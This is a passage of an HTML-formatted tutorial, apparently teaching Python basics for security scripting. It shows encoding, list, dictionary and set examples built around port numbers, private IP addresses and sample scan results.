&lt;/span&gt;&lt;span class="n"&gt;decoded&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;base64&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;b64decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;encoded&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;              &lt;span class="c1"&gt;# b'secret payload'
&lt;/span&gt;
&lt;span class="c1"&gt;# Hex encoding/decoding
&lt;/span&gt;&lt;span class="n"&gt;hex_string&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;shellcode&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;hex&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;        &lt;span class="c1"&gt;# '7368656c6c636f6465'
&lt;/span&gt;&lt;span class="n"&gt;back&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;fromhex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hex_string&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;       &lt;span class="c1"&gt;# b'shellcode'
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Lists
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Lists — ordered, mutable, allow duplicates
&lt;/span&gt;&lt;span class="n"&gt;ports&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;443&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;8080&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;8443&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;hosts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.2&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;10.0.0.1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;mixed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;two&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;3.0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="bp"&gt;None&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="c1"&gt;# Indexing and slicing (same as strings)
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ports&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;                        &lt;span class="c1"&gt;# 80
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ports&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;                       &lt;span class="c1"&gt;# 8443
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ports&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;                      &lt;span class="c1"&gt;# [443, 8080]
&lt;/span&gt;
&lt;span class="c1"&gt;# Modifying lists
&lt;/span&gt;&lt;span class="n"&gt;ports&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;3389&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;                     &lt;span class="c1"&gt;# Add to end
&lt;/span&gt;&lt;span class="n"&gt;ports&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;insert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;21&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;                    &lt;span class="c1"&gt;# Insert at index
&lt;/span&gt;&lt;span class="n"&gt;ports&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;extend&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;25&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;                 &lt;span class="c1"&gt;# Add multiple
&lt;/span&gt;&lt;span class="n"&gt;ports&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;remove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;21&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;                       &lt;span class="c1"&gt;# Remove by value
&lt;/span&gt;&lt;span class="n"&gt;popped&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ports&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;pop&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;                   &lt;span class="c1"&gt;# Remove and return last
&lt;/span&gt;&lt;span class="k"&gt;del&lt;/span&gt; &lt;span class="n"&gt;ports&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;                           &lt;span class="c1"&gt;# Remove by index
&lt;/span&gt;
&lt;span class="c1"&gt;# List operations
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ports&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;                      &lt;span class="c1"&gt;# Length
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;80&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;ports&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;                     &lt;span class="c1"&gt;# Membership test
&lt;/span&gt;&lt;span class="n"&gt;ports&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sort&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;                           &lt;span class="c1"&gt;# Sort in place
&lt;/span&gt;&lt;span class="n"&gt;sorted_ports&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;sorted&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ports&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;           &lt;span class="c1"&gt;# Return sorted copy
&lt;/span&gt;&lt;span class="n"&gt;ports&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;reverse&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;                        &lt;span class="c1"&gt;# Reverse in place
&lt;/span&gt;
&lt;span class="c1"&gt;# List comprehension — Python's most powerful one-liner
&lt;/span&gt;&lt;span class="n"&gt;squares&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;
&lt;span class="n"&gt;open_ports&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;ports&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;1024&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;hosts_80&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;h&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;hosts&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;startswith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;

&lt;span class="c1"&gt;# Security use: IP range generation
&lt;/span&gt;&lt;span class="n"&gt;subnet&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;255&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;subnet&lt;/span&gt;&lt;span class="p"&gt;[:&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;                      &lt;span class="c1"&gt;# ['192.168.1.1', '192.168.1.2', ...]
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Dictionaries
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Dictionaries — key-value pairs, ordered (Python 3.7+), mutable
# The most important data structure for security scripts
&lt;/span&gt;
&lt;span class="c1"&gt;# Create
&lt;/span&gt;&lt;span class="n"&gt;host_info&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ip&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.100&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;hostname&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;server01&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;open_ports&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;443&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;os&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Ubuntu 22.04&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;is_reachable&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;# Access
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;host_info&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ip&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;                 &lt;span class="c1"&gt;# 192.168.1.100
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;host_info&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;hostname&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;       &lt;span class="c1"&gt;# server01
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;host_info&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;mac&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;unknown&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="c1"&gt;# "unknown" — default if key missing
&lt;/span&gt;
&lt;span class="c1"&gt;# Modify
&lt;/span&gt;&lt;span class="n"&gt;host_info&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;services&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;22&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;SSH&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;80&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;HTTP&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;host_info&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;open_ports&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;8080&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;del&lt;/span&gt; &lt;span class="n"&gt;host_info&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;is_reachable&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="c1"&gt;# Iterate
&lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;host_info&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;items&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;host_info&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;keys&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;host_info&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;values&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Check membership
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ip&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;host_info&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;               &lt;span class="c1"&gt;# True
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;mac&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;host_info&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;              &lt;span class="c1"&gt;# False
&lt;/span&gt;
&lt;span class="c1"&gt;# Nested dictionaries — scan results
&lt;/span&gt;&lt;span class="n"&gt;scan_results&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ports&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;os&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Linux&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.2&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ports&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;445&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3389&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;os&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Windows&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.3&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ports&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[],&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;os&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Unknown&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;# Dictionary comprehension
&lt;/span&gt;&lt;span class="n"&gt;port_dict&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;open&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;443&lt;/span&gt;&lt;span class="p"&gt;]}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Sets and Tuples
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Sets — unordered, unique elements, fast membership testing
&lt;/span&gt;&lt;span class="n"&gt;unique_ips&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;10.0.0.1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;  &lt;span class="c1"&gt;# Duplicate removed
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;unique_ips&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;                      &lt;span class="c1"&gt;# {'192.168.1.1', '10.0.0.1'}
&lt;/span&gt;
&lt;span class="c1"&gt;# Set operations — perfect for finding differences in scan results
&lt;/span&gt;&lt;span class="n"&gt;scan1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;443&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;8080&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;scan2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3389&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;5985&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

